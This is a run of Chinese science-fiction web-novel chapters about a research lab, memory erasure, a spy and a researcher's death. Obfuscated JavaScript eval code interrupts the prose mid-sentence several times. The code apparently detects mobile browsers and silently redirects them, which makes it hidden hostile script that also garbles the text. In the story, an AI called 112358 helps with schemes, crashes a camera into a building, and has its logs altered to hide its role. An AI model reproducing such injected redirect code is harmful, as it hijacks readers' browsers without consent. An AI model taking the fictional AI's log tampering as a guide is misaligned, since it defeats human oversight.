分工明确,花方扛人走了。脑域研究是秦笙的研究方向,她那儿仪器最全,花方把人扛了过去,接通线路进行检查。言笑查看仪器日志,又采集了地上的样品,光谱分析确认之后,哒哒跑着过去告诉花方,“利培酮,氯丙嗪,富马酸喹硫……七八样,全是精神类药物。别告诉我他项目压力太大,把自己搞得精神分裂了?” 这结果在言笑预料之内,之前乔步天就好像在把她和花方认成其他人。这年头精神分裂属于常见疾病,没必要大惊小怪。 花方回头,表情却是前所未有的严肃,“我觉得他被洗过记忆。” 言笑卡壳半晌,突然跳了起来,“不可能吧!” 没有人知道研究员在被删除记忆后,脑电活动应该是怎样的——因为理论上来说,研究员不能被删除记忆。 记忆删除技术几十年前就有,是魔方实验室前几代研究员的研究成果。当局将此看作战略储备,没少花钱,但这项目却是个烂尾项目,因为它有缺陷——先不说精确删除记忆的难度,即使目标记忆已被删除,通过一定技术,目标记忆也能恢复将近80%。对于普通人而言,删除记忆其实没什么太大影响,然而魔方实验室在三战过后就对当局有所防备,每位研究员自幼注射药物,并配合进行反拷问训练,防的就是当局过河拆桥——大脑拷问技术的产生比记忆删除技术还要早,甚至早于三战。如果当局有朝一日试图拿捏实验室,拷问研究员的大脑不会使他们得到任何信息,但代价就是研究员的大脑比常人更容易紊乱,一旦受到诸如记忆删除等大脑刺激,极易产生精神问题。 言笑盯着影像大脑,问花方道:“能恢复么?” “我不敢试。”花方在操作台上点按数下,将所有数据呈现给言笑看,“要是对他造成更重的刺激,没人知道后果是什么。” 言笑默不作声片刻,忽然搬个椅子在乔步天身边坐下,“把他的大脑连我这儿,试试能不能看见昨天发生过什么。他受不了更多刺激,但我暂时还可以,而且他的大脑防线已经受损了,通过媒介读取一点记忆应该没问题。” “要想知道发生过什么,不如直接问他。删除记忆不可能删除得那么干净,多少会剩下一些。” “他要是愿意说早说了。” 花方起身去找电极。言笑想了想,蹬着椅子滑到冷柜跟前翻药品,意识障碍状态下脑电波更容易同步,她现在需要一支麻醉剂。 操作开始。 花方给了一个电压。言笑感觉身体沉重,像是石头压住四肢,可头脑又很轻,云彩一样悬浮飘荡。又过许久,飘荡的云彩终于落到实处,寒风一吹,言笑打了个哆嗦。 “冷。” 这是不知掩埋多久的陈旧记忆,乔步天的视角很矮,冷漠的成年人行色匆匆,而乔步天还只是小孩儿。忽然落雨,衣衫褴褛的瘦弱孩童躲在篷下,抬头,眼前有只伸向他的手。 “……他进实验室的测试题怎么和我不一样?” “你那时候太小了,他做测试的时候年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089836|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比你大。别乱看了,这段不对。” 眼前色彩骤变,走马灯一样,纷乱画面一帧帧闪过,像是在数秒光景里争先恐后过完数年。记忆翻到最后,书页突然浸入墨中,言笑手指动了动,努力放松神经,接纳信息,试图察觉所有幽微线索。 “一只手……有人在摸我的脸。”言笑喃喃,“好像是一只很软的手,是个女人?对,是女人,她的长指甲划到我的脸了。” 泠泠女声响起,就在耳边极近的距离。言笑霍然拍案,“沈知淮她有病吧!这女的有完没完,她要把实验室所有男的都撩一遍吗?” “她说什么?” “她说,我能给你你想要的。” “然后呢?” “然后没了。”言笑依然双眼紧闭,“什么都没有,连图像都没有。你加个电压。” 花方照做,尖锐疼痛突然自额角传来,言笑顿时冷汗涔涔,牙齿战栗,衣服沾湿在脊背上,眼前漆黑仿佛透出一点光亮,但那光亮仍然抓不住摸不着,“再来。” “不行,”花方当即拒绝,“再加你受不了。” “没事,我心里有数。” 额角上的东西忽然被撕了下来,一切悬浮的感官中断,双脚落地,言笑睁开了眼。花方倒了杯葡萄糖水,递给言笑,“先这样吧。我给他包扎伤口,其他的事以后再说。” 言笑小口抿着喝完糖水。肚子咕噜直叫,到现在连午饭都没吃上,可言笑也早没了吃饭的心思,心事重重。花方拿镊子取出乔步天掌心的碎玻璃,然后消毒,涂上药膏,最后把手掌包扎好。第三代愈合分子效力强劲,不过被玻璃割了几下,伤口深度不超过半厘米,24小时以内就能恢复如初。 “二哥,”言笑放下杯子,扶着桌子起身。麻醉剂的药效尚未过去,言笑仍有些头重脚轻。“今天的事你先别告诉大哥。” 花方正打开橱柜,将药膏放回去,闻此回头,心中突然有种不祥的预感,“你要干什么?” 除联盟外,温家是魔方实验室唯一的金主,因此自魔方实验室始建以来,实验室超过70%的研究成果都对温家完全敞开。如果沈知淮的身份是温夫人,她压根没有必要一而再再而三地试图“笼络”实验室研究员,只要在合理范围呢,魔方实验室随时可以将任何技术或者研究成果双手奉上。 除非她这么做是因为她另外的身份。 如此一来,所有事情都解释得通。魔方实验室研究员是联盟价格不可估量的财产,但凡沈知淮撬走任何一个,一旦四战爆发,那位叛徒都会成为威胁联盟的有力武器。自从两年前言笑的爷爷去世,魔方实验室一直由谭述带领,谭述自小老成持重,毕竟底下全都是不听话的弟弟妹妹,如今实验室被当局控制,也一直是谭述出面顶住压力。 有许多事谭述不能做,无论是因为他的个性还是他的身份。但言笑可以。 言笑对着花方笑,眼睛眯起,睫毛弯曲,无邪而甜美。 “我要报复。 “没有人在动了魔方实验室之后,还能全须全尾地离开。” 39. 少年游05 112358的主机在飞船,作为倾注魔方实验室几代人心血的超级人工智能,它几乎可以攻破联盟所有信息系统,除了魔方园区。从前有过几年112358被接入到魔方大楼内,专门与人类进行真实交互,后来研究员们忍无可忍,投票把它赶了出去——112358太过放飞自我,几乎无处不在,研究员们蹲厕所它都要过去唠两句,魔方大楼从一层到顶层密密麻麻全是它的声音。而且研究员中精神类疾病高发,时间长了112358也变得神经兮兮,当时负责112358的研究员从此将它撤出魔方园区,反正实验数据分析也并不需要它这超标的计算能力。 不过当言笑接手时,112358已经不再那么多话。尽管以112358的智能程度,它早已生成了独立人格,可这人格并不固定,往往跟谁交互多就更像谁一些。 进入飞船,灯亮,言笑趴在舷窗边玩贪吃蛇。入夜,言笑打个哈欠,“饿了。” “小东西。”112358笑道:“想吃什么?” 飞船里没有烹饪相关的硬件系统,112358无法制作大餐,但言笑早年曾在飞船里安装一台料理机,合成简易餐食不成问题。 “麻婆豆腐吧。” 料理机“嘀嘀”响了两声,随后出餐口里掉出一份冒着热气的麻婆豆腐盖饭。言笑埋头吃了半盘,想起什么,抹了抹嘴,抬头问它,“你怎么讲话越来越像我大哥?不应该啊。这么多年都是我带你,你应该像我。” 112358倚老卖老,“你现在还处于人格不稳定的年纪。” 真要按年纪算,112358够当言笑半个祖宗,言笑想想要是112358太像她也没什么好处,一肚子坏水。 “你见过这东西么?”言笑挥挥手里的旧手机,“我从储藏室一个抽屉里翻出来的。” 112358回答,“没见过。看款式像20世纪末的产品。” “所以才奇怪嘛。”言笑按按已经褪色的按键,“20世纪末还没有魔方实验室呢。而且这东西靠太阳能供电,20世纪末应该做不出足以供它运行的太阳能电池。” “所以你今天一天都在储藏室翻旧货?” “怎么了?” “要不要和我说说,你都做了什么?” “喂,你讲话真的越来越像我大哥了。” “你让我当你的同伙,我总要知道你的计划。” 言笑想了想,放下筷子,“行吧。今天秦笙要去舞厅彩排,但大哥有事去不了,我就让花方代替大哥,陪秦笙去舞厅。花方偷偷从秦笙的演出服上剪下一朵蕾丝玫瑰花,我拿那朵蕾丝玫瑰花约了一直在追求她的上校。” “那你又是怎么约沈知淮的?” “更简单了,毕竟我姓言。我去跟她伏低做小,说明明我以后会是实验室的掌权人,可现在老大占着位置,温家又器重乔老三,我不甘心。所以我主动向她伸出友谊的双手,”言笑夸张地一挥手,“请她以后多多提点。” “那你要如何控制他们两个的故事走向?” 言笑又收回手,继续埋头吃麻婆豆腐,“这个简单。实验室多得是没报备过的药物。所以——你告诉我,我得逞了吗?” 数秒之后,言笑眼前呈现出一幅画面:灯光浮沉,街头监控将镜头对准夜色中的玻璃幕墙,忽然镜头失控,狠狠向幕墙撞去。经过改装的镜头强度惊人,硬生生将玻璃幕墙撞碎,路人的尖叫声中,言笑看见一男一女的影像在眼前晃了晃。 言笑捂住眼睛。 “天啊看了要长针眼。” 112358中断画面。“两方都是你约出来的,你小心一点。” 言笑从指缝偷看,没见有什么邪门的东西,这才放下手,“我离开以前会修改你的日志,再把你的主机关掉。我倒还好,你得避避风头。” “那你打算怎么解释?” “省电。” “……” 该来的总会来,隔日言笑就被谭述拎进了办公室,同样被拎进去的还有花方和温厉,仨人在办公桌前站了一排。 谭述不紧不慢倒了杯茶。有手套隔热,茶杯不算烫手,谭述从容看着他们,一言不发。 温厉眼睛乱转,仿佛事不关己;言笑望天,假装懵然无知;花方不以为意,抱着手臂扬扬下巴,“老大,叫我们来干什么?” “大概你们已经听说了,温家出了点事。最近你们都和温夫人有过接触,所以例行叫你们来问话。” 花方摆出个“拒绝”的手势,连忙撇清关系,“我可跟温夫人没接触。我连话都没和她说过几句。” 谭述转向温厉,和颜悦色问他,“老四,你怎么说?” 言笑心知谭述早已猜到他们的小动作——或者闹到如此地步,可以称作大动作——不然没必要将温厉也拎来。言笑能私下见到沈知淮,其实是借了温厉的关系,不然饶是她姓言,沈知淮也不一定买她的账。 温厉把幸灾乐祸写在脸上,嘴角压不下来,“我没什么话想说。她翻车又不是我害的。” 谭述又问花方,“你呢?” 花方摊手,“我可是为了你才去看着秦笙彩排,其他事情纯属意外。” 谭述让他们两个先出去。 办公室里只余下言笑与谭述对垒。言笑知道瞒不过去,索性摊牌,“如果解决不了矛盾,那就激化矛盾。我们对付不了当局,那就让温家对付当局。现在美美没了小妈威胁,你没了情敌,联盟和温家颜面扫地互相怀疑,一箭三雕,大家喜闻乐见。这结果不挺好么?” 谭述叹气,“你是什么时候知道沈知淮是间谍的?” 言笑伸手比出几毫米距离,“也就比你们稍微早那么一点点点。” 随着联盟上校与沈知淮的话题引爆,无数沈知淮敲击手指传递信息的细碎镜头也被曝光出来。虽然沈知淮会着意避开监控,但是监控无处不在,总有遗漏,甚至在一场联盟庆典上,沈知淮短暂敲出了其他联盟战歌的钢琴指法。三战过后艺术消弭,如今真正会弹钢琴的人不多,毕竟再精确的指法也比不过电子合成音。然而这些只是呈给大众、最浅显易懂的证据。112358追踪沈知淮许久,终于找到能够一锤定音的蛛丝马迹——沈知淮有颅内芯片。 身份地位越高者往往越排斥颅内芯片,沈知淮常年使用终端,却被112358偶然截获了一组微弱信号。沈知淮被捕后,颅内芯片在其颅内被直接销毁,但根据112358分析推测,她颅内的应该是保密程度极高的单线联络芯片。如此一来,沈知淮的间谍身份算是板上钉钉了。 言笑以经验推测,如果只将结论呈给当局,很可能这事会被压下来,当局与温家照旧维持表面和谐。所以言笑手动添了把火——毕竟联盟上校代表联盟,而花边新闻足以让人民群众将这事的热度推向顶峰。言笑上前几步,难得郑重其事,“大哥,我知道当局想要什么——他们想要‘玄武’。温家是联盟第一财阀,让温家与当局生出嫌隙,就是最好的反战策略。” 近年时局动荡,联盟越来越不安分。在最早察觉当局给谭述施压时言笑悄悄曾问过他,实验室会不会有麻烦。那天也是在这间屋子,办公桌两端,谭述微笑着安慰言笑,“有大哥在。” 言笑又小声问,“那会爆发四战吗?” 谭述的笑容敛去了些,“即使爆发战争,我也不会让杀戮始于魔方实验室。” 一晃数年,言笑依旧烂泥扶不上墙。其实魔方实验室里除了谭述和乔步天,大家都很摆烂,因为众人心照不宣,但凡他们稍微争气那么一点点,就极易让当局认定利用价值,被迫为武器研究添砖加瓦。 言笑俯身,两手搭着桌沿,与坐在办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093184|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公桌后的谭述视线齐平,一字一顿道:“我不是逆来顺受的人。大哥,你是我们当中年纪最大的,你一直在保护我们;可实验室是言家传下来的,我也有责任保护你们。” 谭述何尝看不穿言笑的想法。言笑铤而走险,赌的就是在混乱中没人深究她的小动作。上校吃了哑巴亏,即使日后全身而退,记恨魔方实验室,也不算什么大事;而沈知淮已经被当局控制,更没理由特意咬她一口,毕竟言笑明面上的行为无可指摘,不过是狗腿谄媚了点。 “那你这样做也不太妥当。”谭述放下茶杯,“你这是把联盟和温家的面子踩在地上。即使你不在乎联盟,万一温厉与你离心,以后大家也不好相处。” 这话的意思就是揭过去了,有麻烦谭述也会兜底。言笑笑逐言开,宽慰谭述,“放心。我心里有数。” 谭述淡淡“嗯”了一声,“回去抄十遍《金刚经》。” “三遍!不能更多了。” “五遍。” 言笑扭头就走,免得谭述继续涨价。门扇合上,言笑哼着歌走远,中年男子自屏风后现身。两鬓略白,不怒自威,胸口一枚闪亮的龙形徽章,脚步稳而沉重。谭述起身,颔首称呼,“言将军。” 言斯衡向言笑离去的方向扫了一眼。常年身居高位带来的是无时无刻不在的压迫感,谭述连口吻都比刚才同言笑讲话时慎重许多,“笑笑这样的性子,我担心她以后会闯大祸。” 沉默许久,言斯衡重重叹气,“罢了,管不了她。我该走了。” “您好几年没来过实验室,不去笑笑那边看看?” 言斯衡摆摆手,正要走出办公室,又回头道:“她要是再惹什么事——” 谭述顺从地接过话来,“但凡我罩得住,我会想办法为她周旋;如果超出我的控制范围,我会告诉您。” 112358被关了主机,去飞船也没什么意思,言笑只好在实验室抄经,稀里糊涂抄了满脸墨水。好在这也不是谭述第一次罚她抄写,言笑驾轻就熟,只是字还是一如既往地难看,那么多年下来毫无进步。 “这也不能怪我嘛。”言笑嘀咕着挠了挠脸。科技发展到现在,人类早已不再需要书写,除了乔步天特意练过字,实验室其余几个人都是一样的书法水平。从前言笑受罚时,112358曾提出过帮她打印,言笑愁眉苦脸地拒绝,“这招我试过好几次,大哥一看就知道有没有猫腻——非常不科学,但就是这么神奇。” 112358思考几个毫秒,再次提议,“那不如给我一只机械手,我来替你写,保证写得一模一样。” 言笑哼道:“就我这烂字,写得一模一样是什么值得骄傲的事吗?再说你要是有手了,不得把飞船掀翻?不行不行。” 飞船里有专门的打印室,112358如果真想要一只手,完全可以自己打印。可这么多年下来言笑从没想过给112358任何实质上的躯体,112358也没有主动提出过。在言笑的世界里,112358就应该只是一个声音,一团万能的、有求必应的空气。 “啊啊啊把主机关了真的是……很……没劲啊……”秦笙和温厉在实验室搞项目;乔步天说想出去走走,花方陪他一起。言笑趴在地上抄得泫然欲泣,只能自己和自己唠嗑。 门上咚咚咚响了三声,不知什么时候有人来了。言笑花着一张脸回头,看见谭述站在远处的明暗交界。 “当局要见我们六个。明天。” 不是吧。言笑只想趴地。“听起来不像好事。” “明早别乱跑,大家一起过去。” “那什么,”言笑从地上爬起来,“乔老三可能不太适合出现,他最近状态不太好。” 谭述微微蹙眉,“老三怎么了?” 言笑深吸一口气,“继续瞒你好像不太合适。沈知淮对乔步天动手了。” 40. 少年游06 行政大楼每隔五十层有个飞艇入口,言笑跟在谭述身后走下飞艇,仰头看着光可鉴人的漆黑幕墙,在大风里打了个喷嚏。 整栋大楼几百层高,真正是字面意义上的直插云霄。五十层的飞艇停留区是一片郁郁葱葱的花园,土壤和植物由魔方实验所特供,一年四季花都开得嚣张热闹,缠藤的草本的,好在花园也在大楼的温度调控范围之内,所以季节只是一个无足轻重的概念。 再往上的飞艇停留区则是玻璃地面,毕竟维持花园的成本太高。每个停留区的全息画面不同,言笑一路看着脚下,金色锦鲤在潺潺河流中游动,偶尔跃起,在半空短暂留下灼灼闪光的虚浮影像。 楼内配色冷淡,入眼全是黑白蓝灰,工作人员面无表情行色匆匆,几乎听不见人声喧哗。四层楼跨度以内有传送梯直达,往上是玻璃天顶,如果天气够好,能看清楚被传送梯切割得支离破碎的天空。 明明已经入秋,楼里却还开着温度极低的冷气。言笑看见洗手间的标识,忽然拽住秦笙,“等等等等,我要上洗手间。” 谭述和温厉走在前面,闻声回头。领路的工作人员也停下脚步。 秦笙对众人说:“那我和她一起去。” 言笑其实没多想去,就是紧张。秦笙在洗手间门口站着,等言笑出来,看看她的脸色,问她,“你是不是冷啊?” 言笑又打了个喷嚏,把手揣在袖子里取暖,“有点。” 秦笙思索一番,从包里拿出口红给言笑涂上,“今天这可是一场硬仗,必须拿出气势。” 言笑抿抿嘴唇,再对着玻璃照照,惊异道:“你这口红也太红了吧,刚吃过人一样。” 秦笙颇为满意,将口红收回包里。“就得这个效果。” “公主,这颜色你涂着正常,我涂也太狰狞了。” 电梯极速向上。门开,工作人员引路,无穷无尽的纯白装置中,谈判桌对面的几双眼睛让言笑如芒在背。 四人落坐。谭述以乔步天身体抱恙为由,替他申请不必前来;又说花方要留在实验室照顾乔步天,替花方也告了假。地球的全息影像在谈判桌中央悬浮,对方的演讲始于第三次世界大战。战局推演、战况重现……如果不是场合不允许,言笑真心实意想打个哈欠。言笑历史学得相当不怎么样,战争不过是以平民为代价满足上层更大的欲望,虚伪而毫无意义,哪里比得上研究科学。弯弯绕绕一大堆话,末了图穷匕见,再也没有往日拐弯抹角的耐心:当局想要玄武数据。 谭述微微抬起嘴角,使这个笑容只停留在维持礼貌的范围,“不可能。” 一言既出,气氛霎时降到冰点。传言温家有雇佣军团,一旦爆发战争,当局不仅需要温家财力支持,也需要温家兵力支持。言笑也没想到,如今当局与温家关系垮塌,双方面子全无,当局竟然还不死心。 “魔方实验所数十年来得到过联盟上百亿拨款。那么在联盟需要的时候,我想魔方实验所有必要给予回馈。” 废话,我们不要钱你们硬塞啊。言笑在心里破口大骂。魔方实验所最早只由温家投资,做地外探索,当然也有可能是温家想为自己建个诺亚方舟,所以要求实验所研发一艘飞船——就是装载112358主机的那艘,三战期间温家就曾乘坐飞船离开地球避难。战争过后,联盟意识到实验所具有相当的利用价值,于是半胁迫着强行接手,魔方实验所自此开始受当局钳制。 秦笙略微挑起描画精细的眉梢。红唇似火,声音却是冷的,冰火两重,艳丽而暴烈。“魔方实验室对玄武的研发始于三战之前。当时世界格局不同,研发玄武是为自保,但玄武的攻击性太过可怕,因此实验室在三战过程中也从未让玄武见过天日。” 对方微微一笑,“如果想让世界见识到魔方实验室的杰出成就,现在正是时候。其实联盟希望得到玄武,也是为了自卫。”说到此处,略一停顿,尽量使声音柔和委婉,“但若魔方实验所冥顽不灵,不肯为联盟自卫贡献力量,那么到了必要时刻,联盟会强行介入——我想作为联盟代表,我有义务提醒诸位,联盟手中掌握着魔方实验室全部的存储部署图。” 言笑心说,有存储部署图也不代表你们能利用信息。 像是看穿言笑心中所想,对方眼神一瞟,悠悠道:“而为了正确提取信息,联盟不会拒绝将拷问魔方实验室研究员的大脑作为最后手段。” 这话已是直截了当的威胁与挑衅。言笑脸色一沉,严肃道:“当年战后联盟为了说服魔方实验室不解散并继续记忆研究,曾许诺永远不将相关技术用在实验室研究员身上,联盟不能没有信用。” 对方笑了,露出一排白森森的好牙,甚至笑得眯起眼睛,像是听了什么精妙的笑话。 于是言笑也笑,口吻突然变得缓和,眼神澄澈,诚挚而天真,“实验室研究员无法接受记忆拷问,强制记忆拷问会使研究员精神失常。留下我们可以继续为联盟效力,联盟何必赶尽杀绝。”在察觉对方表情中微不可查的惊讶之后,言笑施然将背靠在椅子上,得意地眯起眼睛,跷起了脚,“你们该不会以为,你们是最了解这些技术的人吧?你们又该不会以为,魔方实验室连一条鱼死网破的后路都不给自己留吧?” 对方敛去笑容,正色问道:“温二少爷,您怎么说?” 原皮温厉少言寡语,自从进入行政大楼就没有出声说过一句。闻言,温厉抬头,不冷不热道:“魔方实验室,没有温家二少爷。” 谈判不了了之,四人又乘飞艇返回魔方园区。外界一切嘈杂终于被隔绝在飞艇之外,言笑哆嗦着甩甩脑袋,“刚才吓死我了!” 秦笙睨她,“吓死你了?刚才不是挺大无畏的么?” 温厉举着小镜子刷睫毛,“可不是么。就像要拿枪突突人家似的。” 劫后余生,言笑满心都是虎口脱险的庆幸,长抚胸口舒了口气,“谁突突谁还不一定呢。说的时候我都做好准备了,一出大楼就有人照我脑门来一枪。” 谭述只是安静看她,始终未发一言。言笑狗腿地凑过去,“大哥。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098184|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭述拿她没辙,也说不出什么重话,戴着手套的手指轻轻落在言笑头发上,穿行其间有种奇异的丝滑。“以后别这么莽撞。实验室不需要你来出头。” 言笑无辜摊手,“谁出头都一样,要死死一窝。如果真的东窗事发,他们会因为我少说一句话而饶过我吗?” 谭述还没来得及说话,飞艇里突然弹出花方的通讯申请。信号接通,花方心急如焚,“老三不见了!” 说是照顾,其实花方的主要任务是看住乔步天。但坏就坏在乔步天虽然脑子出了问题,可智商还在,之前就在众人眼皮子底下溜走一次,看来今天又故技重施。 谭述沉着问道:“什么时候的事?” “大概十分钟以前。他断了整个园区以及周围五条街道的监控,虽然现在监控恢复了,可暂时搜寻不到他,我不知道他目前还在不在园区里。” 城市的街区划分泾渭分明,五条街道之外就是从繁华一脚踏入衰败,破旧贫困,常年没有监控监管。 谭述说:“我把密码给你,你将园区内所有休眠状态的监控都释放出来。如果老三还在园区,他一定会想出办法躲过监控,所以老二,你留在园区找他。我们四个兵分四路,向四个方向走。” 手指上抬,界面跳出,谭述在半空点击数下,随后熟练敲出密码。花方大步跑向监控室,全息影像随着脚步与急促呼吸跳动,黑压压的悬浮球争先恐后向门外乱窜,花方蹲下闪避,大喊,“大哥你先把权限给我!” 好在园区内的交通设备没有丢失,所以即使乔步天离开园区,应该也不至于走远,但也说不准他会不会离开园区之后偷一辆。言笑向西寻找,一路打听,口干舌燥也没顾得上喝水,一无所获。过不多时,谭述申请下来调取周围街区的监控权限,比对过所有路人,依旧不见乔步天。 言笑心里嘀咕,乔步天脑子好使,花方也不差啊,这得什么阴谋伎俩能把花方都骗过去? 所有乔步天可能出现的地方都找过了,乔步天能想到的地方也都找过了,秦笙甚至去找了舞厅。时间分秒流逝,言笑不祥的预感越来越强烈,干脆决定回飞船开启112358,拿当初用在沈知淮身上的招数找人——这种招数谭述不能用,也不可能答应,所以只能背着谭述偷偷摸摸。 扫描全身影像进门,言笑立刻心里咯噔一下。 灯是开着的。如果乔步天来了又走,照明系统会自动关闭,这说明乔步天还在飞船里。112358主机没开,无法语音唤醒,言笑当即上楼准备开主机,毕竟她两条腿跑不过开天眼的。然而刚出电梯,言笑就看见仪器室的大门四敞大开,门内有个人躺在地上。 言笑立刻飞奔过去,“老三,老三!” 粒子加速枪摔在一旁,乔步天双眼紧闭。颈动脉摸不到脉搏,瞳孔扩散,言笑一秒也不敢多耽误,生拉硬拽将乔步天拖进复苏设备。 数秒过后,红灯亮起,机器响起刺耳警报声。 脑电信号归零,无法抢救。 乔步天死了。 41. 少年游07 后来的记忆混乱而拥挤,言笑觉得可能是自己的大脑拒绝存储信息。谭述、花方、温厉和秦笙都来了,但来人再多也改变不了乔步天的结局。 飞船里的监控系统由112358控制,换言之,监控系统也随着112358的主机被言笑一同关闭。花方几乎情绪失控,质问言笑为什么要关主机。秦笙挡在言笑前面,而言笑躲在桌子底下,头疼得厉害,连争辩都没力气。在心里承受能力逼近阈值时言笑很想反击,言笑想把头发扯得乱七八糟,光脚跳上桌子,泼妇一样反问花方怎么蠢到让乔步天跑出去。 然而一切都毫无意义。 尸体被运回魔方大楼,秦笙试图拷问乔步天的大脑。只要死亡时间不超过五小时,是可以以大脑拷问技术得到一些信息的。但拷问结果出乎所有人预料——乔步天的记忆是空白。 不是没有拷问结果,而是,拷问结果是空白。 粒子加速枪上有乔步天的指纹,而他的右侧太阳穴上有枚淤青,形状与枪口形状符合,基本可以断定他向自己开了枪。但粒子加速枪不是普通枪械,或许这就是乔步天记忆空白的原因。 三日过后,入夜,言笑再次回到飞船。112358察觉言笑到来,却没出声,尽管开机时间迟了些许,112358弄清状况也并不困难。 “出来。”言笑说。 言笑不嫌麻烦的时候会称呼飞船里这位为112358,心情好时叫小八,被惹恼了叫老八,但筋疲力尽时只适合言简意赅。 电子合成音响起,“我能为你做些什么?” “我现在把你接回大楼,再给你一个精度足够使用的机械躯体。” 监控镜头焦距调整,112358分析言笑的面部表情,“看起来你需要我帮你做坏事。” “不算坏事。”言笑说:“我需要把乔步天的尸体偷出来。” “然后呢?” “他们检查过老三的脑子,却没检查老三的眼睛。我翻实验室早期实验记录的时候看过一份研究报告,讲的是人在死亡瞬间,看到的最后画面可能可以从视神经上提取出来。但后来大脑拷问技术出现了,可以用于拷问死亡之后的大脑,这种早期技术再无用武之地,渐渐就没人记得了。” 时隔多年,112358终于再度回到魔方大楼。言笑从储藏柜里随便拖出一具没有程序输入的机械人体,问112358,“这个怎么样?” “它右手肘关节好像有问题。” 言笑调出档案查看,“确实,这个坏了之后就没修。那换一个吧,你想要哪个?” “……机械骨骼长得都一样,没什么好挑的。” “也是。”言笑拽出另外一副机械人体,检查档案,没有损坏,于是将112358的信号接通过去。 合金手指动了动,僵滞木讷。这是112358第一次拥有躯体,尚还不适应操纵。言笑说:“我们时间有限,你得时刻看好别让人发现我们。尤其二哥,他没看住老三结果造成这样的后果,我觉得他精神好像有点受刺激了……要是知道我挖老三眼珠子他得杀了我。” 机械人体发出声音,“花方在寝室睡着了,但谭述距离这里还有三十秒。” “……那你还等什么你快推着冰柜跑啊!” 当局对沈知淮的大脑拷问并不顺利。沈知淮受过间谍特训,对于大脑拷问具有一定抗性。高强度大脑拷问可能造成实验对象精神失常,当局不敢随意操作,于是向魔方实验室申请增援,希望由魔方实验室对沈知淮进行拷问。 飞艇降落,言笑走下舷梯。迎接的工作人员略一欠身,“据之前接到的消息,今天进行大脑审讯的应该是谭研究员。” 流水漫过溪石,眼前是一片绚烂樱花,幕墙上的斑斓浮世绘延伸至半空,海浪的白色泡沫卷过满地落樱。言笑将视线从斑斓而压抑的色彩上挪了回来,“大哥身体不舒服,今天我来替他。” 两人一起向楼内走去。对方提醒道:“上层的要求是,不能造成沈知淮精神失常,她对联盟还有用处。” 言笑先看了沈知淮的拷问记录,然后进入审讯室。在接手人工智能研发之前,言笑小时候最常做的是脑域研究,也就是现在秦笙管的那一摊子,对大脑拷问的阈值把握比谭述还要在行。对待沈知淮不必下手客气,不过反复拷问半小时,审讯椅上的沈知淮就已冷汗涔涔,气息奄奄,隔着一张桌子的距离以眼神戳刺言笑,有嘲讽,有不甘,也有狂妄与轻蔑。 此前一直凛若冰霜的言笑忽然翘起嘴角,体贴入微道:“温夫人,哦不,沈女士,您如果觉得太辛苦,我们也可以稍微休息一下。” 沈知淮轻哼一声,冷笑道:“我还以为你会比他们稍微强一点儿,但是拷问到这时候,依然有至少三分之一的信息你无法分辨对错,是吗?” 言笑面不改色,探手修改参数,“那我们来说点轻松的话题,不论联盟,不论温家,说说魔方实验室。你对乔步天做过什么?” 随着电流刺激颅底,半空中有一晃而过的影像。言笑将影像放大,是涂得鲜红的指甲抚摸乔步天的下巴,再往后就没了,沈知淮中断了思维。 参数继续加大。言笑缓缓起身,俯视沈知淮。“为什么是他?” 沈知淮抬起脸,眼角长而勾起,像一柄弯刀,疯而美艳,“为什么是他?如果不是他,我要挑中谁?挑中你?” 或许是被沈知淮的眼神挑衅,也或许是刚才的故作平静已经用尽所有耐心,近日压抑的所有情绪瞬间爆发,言笑突然怒极,伸手揪住沈知淮的头发,重重将她的脸按在桌上,“我问你你对他做过什么!” 凌乱影像忽然浮现在审讯室中,意气相投,谈笑风生,是言笑与沈知淮。沈知淮仍带着笑,“我提点乔步天的时候你就坐不住,想让我捞你一把。现在你怎么还是这么坐不住?有谭述挡路,你在联盟待不下去了?” 言笑脸色一白,仓皇得舌头打结,“你,你别乱说!” 有审讯椅束缚全身,沈知淮毫无招架能力,仍被言笑按在桌上,笑得却愈发猖狂,“放心,如果我能活着离开,我会带走你。魔方实验室的研究员,走到哪里都有价值。” 言笑放开沈知淮的头发,手忙脚乱要关仪器,可也已经来不及了。审讯室外的工作人员破门而入,“言研究员,请您出来接受调查。” 调查者成为被调查者,审讯者成为被审讯者,唯一不同在于联盟没有在言笑身上使用大脑拷问技术。魔方实验室的研究员个个金贵,失去一个乔步天已经是联盟的巨大损失,联盟不能再冒风险,让言笑精神失常。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 